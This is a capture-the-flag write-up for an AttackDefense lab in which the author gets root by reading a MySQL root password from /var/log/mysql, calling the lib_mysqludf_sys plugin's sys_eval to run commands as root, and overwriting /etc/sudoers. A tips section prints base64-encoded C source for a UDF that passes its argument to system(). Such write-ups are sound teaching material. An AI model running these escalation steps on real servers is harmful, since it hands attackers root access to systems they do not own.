This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!

The Challenge

A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!

Your mission is to get a root shell on the box!

Challenge Accepted

First bit was easy, I knew it was about logs because of challenge info and title so figured we would want something either setuid or a service running as root that dumps things to a log file. So first thing was sudo -l followed by a grep of /var/log/mysql as we knew sudo init.d started mysql.

student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs

Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.

student@attackdefense:~$ echo "[client]" > .my.cnf
student@attackdefense:~$ echo "user=root" >> .my.cnf
student@attackdefense:~$ echo "password=adlabs@adlabs" >> .my.cnf

Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.

We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…

mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
+---------------------------+
| @@GLOBAL.secure_file_priv |
+---------------------------+
| /var/lib/mysql-files/     |
+---------------------------+
1 row in set (0.00 sec)

secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE()function. These operations are permitted only to users who have the FILE privilege. Basically, good idea for security! Take note.

However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!

student@attackdefense:/usr/lib/mysql/plugin$ ls -la /usr/lib/mysql/plugin
total 664
drwxr-xr-x 1 root root   4096 Oct 18 14:51 .
drwxr-xr-x 1 root root   4096 Sep 24  2018 ..
-rw-r--r-- 1 root root  21224 Jul 27  2018 adt_null.so
-rw-r--r-- 1 root root   6288 Jul 27  2018 auth_socket.so
-rw-r--r-- 1 root root  44144 Jul 27  2018 connection_control.so
-rw-r--r-- 1 root root 112792 Jul 27  2018 innodb_engine.so
-rw-r--r-- 1 root root  84512 Jul 27  2018 keyring_file.so
-rwxr-xr-x 1 root root  13192 Oct 18 14:51 lib_mysqludf_sys.so
-rw-r--r-- 1 root root 158688 Jul 27  2018 libmemcached.so
-rw-r--r-- 1 root root   5824 Jul 27  2018 locking_service.so
-rw-r--r-- 1 root root  10840 Jul 27  2018 mypluglib.so
-rw-r--r-- 1 root root   6064 Jul 27  2018 mysql_no_login.so
-rw-r--r-- 1 root root  56064 Jul 27  2018 rewriter.so
-rw-r--r-- 1 root root  56936 Jul 27  2018 semisync_master.so
-rw-r--r-- 1 root root  14768 Jul 27  2018 semisync_slave.so
-rw-r--r-- 1 root root  27568 Jul 27  2018 validate_password.so
-rw-r--r-- 1 root root  27200 Jul 27  2018 version_token.so

One instantly stands out…

-rwxr-xr-x 1 root root 13192 Oct 18 14:51 lib_mysqludf_sys.so

Let’s see what this is…

https://github.com/mysqludf/lib_mysqludf_sys

TL;DR — lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system.

Github info.html

Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.

The Solution

student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id")                          |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
 |
+-----------------------------------------+
1 row in set (0.04 sec)

mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
+------------------------------------------------------------------+
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
+------------------------------------------------------------------+
| NULL                                                             |
+------------------------------------------------------------------+
1 row in set (0.02 sec)

mysql> exit
Bye
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
    (ALL) NOPASSWD: ALL
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)

Tips

During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.

Writing Source Code to File without Text Editor/Echo

Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.

student@attackdefense:/tmp$ echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmVudW0gSXRlbV9yZXN1bHQge1NUUklOR19SRVNVTFQsIFJFQUxfUkVTVUxULCBJTlRfUkVTVUxULCBST1dfUkVTVUxUfTsKCnR5cGVkZWYgc3RydWN0IHN0X3VkZl9hcmdzIHsKCXVuc2lnbmVkIGludAkJYXJnX2NvdW50OwoJZW51bSBdGVtX3Jlc3VsdAkqYXJnX3R5cGU7CgljaGFyIAkJCSoqYXJnczsKCXVuc2lnbmVkIGxvbmcJCSpsZW5ndGhzOwoJY2hhcgkJCSptYXliZV9udWxsOwp9IFVERl9BUkdTOwoKdHlwZWRlZiBzdHJ1Y3Qgc3RfdWRmX2luaXQgewoJY2hhcgkJCW1heWJlX251bGw7Cgl1bnNpZ25lZCBpbnQJCWRlY2ltYWxzOwoJdW5zaWduZWQgbG9uZyAJCW1heF9sZW5ndGg7CgljaGFyCQkJKnB0cjsKCWNoYXIJCQljb25zdF9pdGVtOwp9IFVERl9JTklUOwoKaW50IGRvX3N5c3RlbShVREZfSU5JVCAqaW5pdGlkLCBVREZfQVJHUyAqYXJncywgY2hhciAqaXNfbnVsbCwgY2hhciAqZXJyb3IpCnsKCWlmIChhcmdzLT5hcmdfY291bnQgIT0gMSkKCQlyZXR1cm4oMCk7CgoJc3lzdGVtKGFyZ3MtPmFyZ3NbMF0pOwoKCXJldHVybigwKTsKfQ==" | base64 -d > priv.c
student@attackdefense:/tmp$ cat priv.c
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int            arg_count;
        enum Item_result        *arg_type;
        char                    **args;
        unsigned long           *lengths;
        char                    *maybe_null;
} UDF_ARGS;

typedef struct st_udf_init {
        char                    maybe_null;
        unsigned int            decimals;
        unsigned long           max_length;
        char                    *ptr;
        char                    const_item;
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if (args->arg_count != 1)
                return(0);

        system(args->args[0]);

        return(0);
}

Dump MySql Environment and Config Variables

student@attackdefense:~$ mysqld --verbose --help
student@attackdefense:~$ mysqladmin variables -u root -p

Understand MySql/MySqld etc will be Invoked

student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address=0.0.0.0 --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M